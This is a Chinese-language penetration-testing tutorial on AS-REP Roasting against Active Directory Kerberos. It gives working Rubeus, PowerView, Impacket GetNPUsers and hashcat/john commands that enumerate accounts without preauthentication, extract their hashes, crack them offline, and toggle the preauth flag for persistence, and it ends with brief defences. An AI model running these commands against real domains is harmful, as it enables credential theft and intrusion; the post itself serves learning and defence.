域渗透-AS_REPRoasting

admin 2023年12月14日14:11:38评论20 views字数 6439阅读21分27秒阅读模式

0x00 前言

这是一种针对kerberos协议的攻击技术,不需要认证就可以获取到用户的密码hash值。问题出现在身份预认证是kerberos认证的第一步,通常是由KDC认证服务器来管理,目的是为了防止暴力破解攻击。

相关的kerberos的详情可以查阅之前的一篇文章域渗透-Kerberos认证,在实战当中比较少遇到,但是你要是在OSCP或者是HTB等平台可以遇到比较多这种漏洞的AD靶机。

0x01 攻击原理

利用原理

问题就是出现在如果用户开启了不使用Kerberos预认证(Do not require Kerberos preauthentication),攻击者可以通过Kerberos AS-REP请求,获取到经过用户的hash加密过TGT票据,然后他就可以离线破解这个凭证了,但是该属性是默认不开启的。

在AD用户管理的选项下可以看到,如下图:

我们使用Wireshark抓包对比下是在哪里出的问题,我们先抓取不开启预验证的包:

1

下面是开启预验证的包:

2

我们可以看到是在pdata(pre-authentication data )项当中是多了pA-ENC-TIMESTAMP

该项是按照etype的加密类型,用用户hash加密时间戳,作为value 发送给AS服务器。然后AS服务器那边有用户hash,使用用户hash进行解密,获得时间戳,如果能解密,且时间戳在一定的范围内,则证明认证通过返回 TGT票据和enc_part(里面包含有session-key)。

如果开启了不需要预验证,那么这项验证过程就不需要了,直接就能跳过获取到用户加密的TGT票据。

我们看下返回的包:

3

向域控制器的88端口发送AS_REQ请求后,对收到的AS_REP内容(enc-part底下的ciper,因为这部分是使用用户hash加密session-key,我们通过进行离线爆破就可以获得用户hash)重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat对其破解,最终获得该用户的明文口令。

注意不是ticket包中的enc-part,这个ticket用于TGS_REQ的认证。是加密的,用户不可读取里面的内容。在AS_REQ请求里面是使用krbtgt的hash进行加密的。

点击鼠标右键获取AS_REP里面enc-part部分里面的ciper值,然后在前面加上$krb5asrep$23$用户名@域名:+ciper值的前32位字符+$+后面的字符,比如ciper值为:

4440830848a2f2a1eabdd28222bceb2c24e5cd7cd311349609eed565f8c5c86803747e9bbc18e5b990400fbe62b554e8f33e6f7e2fb2e12499161705b95cd64b13a67e1f4bab841520fcd6935cd7c0ad25e5b8ee8ed91d7f247f5f8bf989971f9af645c3199978436ec962d254a95145a9414d8d9a48cb9a44f4815d13a204325d55399c2e4a175b7eaca33e47e79ad034b187574112010f0a4825614b74d4d2e671fd9bb546ff2987f4d3718735cdd0a3b3cbb52988bc900ebcbfb46a8320efc0ba04648c29e64ca587c342cf8bacab93d9aa4bb592cdde8c1b25733b1b57e0aee4168b597e303c68555d6518116cf6f294c726

修改之后就成为:

[email protected]:4440830848a2f2a1eabdd28222bceb2c$24e5cd7cd311349609eed565f8c5c86803747e9bbc18e5b990400fbe62b554e8f33e6f7e2fb2e12499161705b95cd64b13a67e1f4bab841520fcd6935cd7c0ad25e5b8ee8ed91d7f247f5f8bf989971f9af645c3199978436ec962d254a95145a9414d8d9a48cb9a44f4815d13a204325d55399c2e4a175b7eaca33e47e79ad034b187574112010f0a4825614b74d4d2e671fd9bb546ff2987f4d3718735cdd0a3b3cbb52988bc900ebcbfb46a8320efc0ba04648c29e64ca587c342cf8bacab93d9aa4bb592cdde8c1b25733b1b57e0aee4168b597e303c68555d6518116cf6f294c726

把这串放到hashcat的18200模式破解就行了。

hashcat -m 18200 -a 0 hash.txt passwordlist.txt

尝试该工具会在日志中生成4678的TGT请求记录:

9

这里有没有同学思考过,如果关闭用户选项”Do not require Kerberos preauthentication”,我尝试使用正常的密码登录系统再抓包,其中的AS_REP包中的ciper值是否也能用hashcat解密呢?

虽然感觉是在脱裤子放屁,但是你可以实践抓包看下,如果细心的同学就会发现,其实只要指定加密的类型为RC4_HMAC,一样是可以用hashcat解密的。

平时我们登录的怎么指定加密类型呢,我们可以使用python写的一个项目:https://github.com/mubix/pykek

使用下面的代码模拟发包:

user_key = (RC4_HMAC,  ntlm_hash("p@ssw0rd").digest())#这里填写密码
as_req=build_as_req("hack.lab", "lucky", user_key, time(), getrandbits(31), pac_request=False)
sock = send_req(as_req, "172.16.0.106")#可以填写为dc主机名,比如dc.hack.lab
data = recv_rep(sock)
as_rep = decrypt_as_rep(data, user_key)
print as_rep

破解的方法可以参考hashcat里面的,我也没弄懂,找时间看一下是怎么破解的:

https://github.com/hashcat/hashcat/blob/master/src/modules/module_18200.c

利用思路

那么在实战当中很少见会开启这个选项的,所以我们在内网渗透中一般是用来做权限维持。

  • 需要枚举域内用户是否存在开启选项

    1. 可以使用PowerView、kerbrute等工具枚举出存在开启选项”Do not require Kerberos preauthentication”的用户
    2. 导出hash并破解
  • 需要先获得对指定用户的GenericWrite权限,利用思路如下:

    1. 开启用户选项”Do not require Kerberos preauthentication”
    2. 导出hash并破解
    3. 关闭用户选项”Do not require Kerberos preauthentication”

与Kerberoasting和黄金票据的区别

· AS-REP Roasting:获取用户hash然后离线暴力破解

· Kerberoasting:获取应用服务hash然后暴力破解

· 黄金票据:通过假冒域中不存在的用户来访问应用服务

0x02 实战

下面是使用各种工具进行攻击的具体过程

PowerView

这款工具是集成在PowerSploit里面的,属于Recon系列,这款工具是由HarmJ0y大牛开发的。

GitHub:https://github.com/PowerShellMafia/PowerSploit

原理是使用LDAP查询满足条件(userAccountControl:1.2.840.113556.1.4.803:=4194304)的用户,DONT_REQ_PREAUTH项对应的值为4194304,可以参考官方的文档Use the UserAccountControl flags to manipulate user account properties

假如我现在环境是在拿到了普通域用户testsql下执行PowerView脚本

PowerView的命令如下:

Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired -Verbose

示例如下图:

4

如果要有开启用户的Do not require Kerberos preauthentication选项需要拥有GenericWrite权限,这也就是我们上面所说的第二种利用方式。

开启选项意味着对用户添加属性(userAccountControl=4194304)

开启选项的命令如下:

Import-Module .\PowerView.ps1
Set-DomainObject -Identity testb -XOR @{userAccountControl=4194304} -Verbose

关闭选项意味着删除用户属性(userAccountControl=4194304)

这里可以再次进行异或运算,两次异或相当于不改变原数值,即删除用户属性(userAccountControl)

关闭选项的命令如下:

Import-Module .\PowerView.ps1
Set-DomainObject -Identity testb -XOR @{userAccountControl=4194304} -Verbose

kerbrute(Python)

这款工具主要是来枚举域内存在开启Do not require Kerberos preauthentication选项的用户,在之前写的域用户枚举的一篇文章中写多,这里就不再展开,有兴趣的同学可以看下域渗透-用户名枚举

Rubeus

这款工具也是由HarmJ0y大牛开发的,是一个用于原始Kerberos互动和滥用的C#工具集,功能还很多,这里就不一一介绍,主要是利用里面的AS-REP-Roasting的功能。

现在GitHub上面不开放exe版本下载了,需要自己去生成,我们先去GitHub下面下载:

https://github.com/GhostPack/Rubeus

解压后使用vs2019打开Rubeus.sln文件,点击生成->生成Rubeus即可,之后exe文件会生成在Rubeus\bin\Debug目录下。

假如我现在环境是在拿到了普通域用户testsql下执行PowerView脚本,直接输入命令即可:

Rubeus.exe asreproast

5

能枚举出域内存在该漏洞的用户的hash,默认输出的格式是John the Ripper (Jumbo version),可以使用以下命令破解:

John ./hash.txt –wordlist=./password.txt

也可以输出为hashcat的格式:

Rubeus.exe asreproast /format:hashcat /outfile:C:\Temp\hash.txt

采用hashcat破解:

hashcat -m 18200 -a 0 hash.txt passwordlist.txt

如果我们不在域用户下呢,比如说我们拿到了本地账户的机器跟DC(172.16.0.106)是相通的,我们也可以使用以下命令进行枚举:

Rubeus.exe asreproast /domain:hack.lab /user:lucky /dc:172.16.0.106 /format:hashcat /outfile:C:\Temp\hash.txt

结果如下图所示:

6

ASREPRoast

这款工具也是由HarmJ0y大牛开发的,不过推荐使用Rubeus ,因为上面的功能很齐全,下面是利用的过程。

在GitHub上进行下载:

https://github.com/HarmJ0y/ASREPRoast

假如我现在环境是在拿到了普通域用户testsql下执行该脚本:

Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast

结果如下图所示:

7

如果想要导出hash值进行破解可以执行下面的命令:

Invoke-ASREPRoast | select -ExpandProperty Hash > hash.txt

Powershell Empire

如果你喜欢使用Powershell Empire这个框架,并且想通过Empire这个框架发起ASREPRoast攻击,首先你得拿下一台机器,获得agent会话,然后运行下面这个模块来查看“PreauthNotRequired ”选项有没有勾选。

使用以下的命令:

usemodule situational_awareness/network/powerview/get_user

10

该功能只能枚举出存在漏洞的用户,后续还是得使用Rubeus等工具进行导出hash值。

GetNPUsers.py

该工具是在Impacket中的,也默认安装在新版的kali。这个脚本是Impacket工具套件中的其中一个,它可以列举出哪些用户设置了“Do not require Kerberos pre-authentication”,并获得TGT票据。

同样的,你也可以保存hash到文件中,然后利用John the ripper进行破解(默认是hashcat的格式),指定单用户:

python3 /usr/local/bin/GetNPUsers.py hack.lab/lucky -no-pass -dc-ip 172.16.0.106 -format john -outputfile hash.txt

多用户:

python3 /usr/local/bin/GetNPUsers.py -no-pass -dc-ip 172.16.0.106 -usersfile users.txt -format john -outputfile hash.txt

172.16.0.106是域控

如下图所示:

8

使用john破解:

john –wordlist=/usr/share/wordlists/rockyou.txt hash.txt

0x03 防御建议

1.确保域内不存在开启”Do not require Kerberos preauthentication”的用户

扫描方法(使用PowerView):

Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired -Verbose

2.域用户强制使用复杂口令,提高被字典和暴力破解的难度

0x04 参考

https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-AS-REPRoasting

https://www.4hou.com/posts/ZpYE

https://blog.csdn.net/shuteer_xu/article/details/106066628

https://xxe.icu/posts/kerberos_authentication/


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月14日14:11:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   域渗透-AS_REPRoastinghttps://cn-sec.com/archives/2298813.html

发表评论

匿名网友 填写信息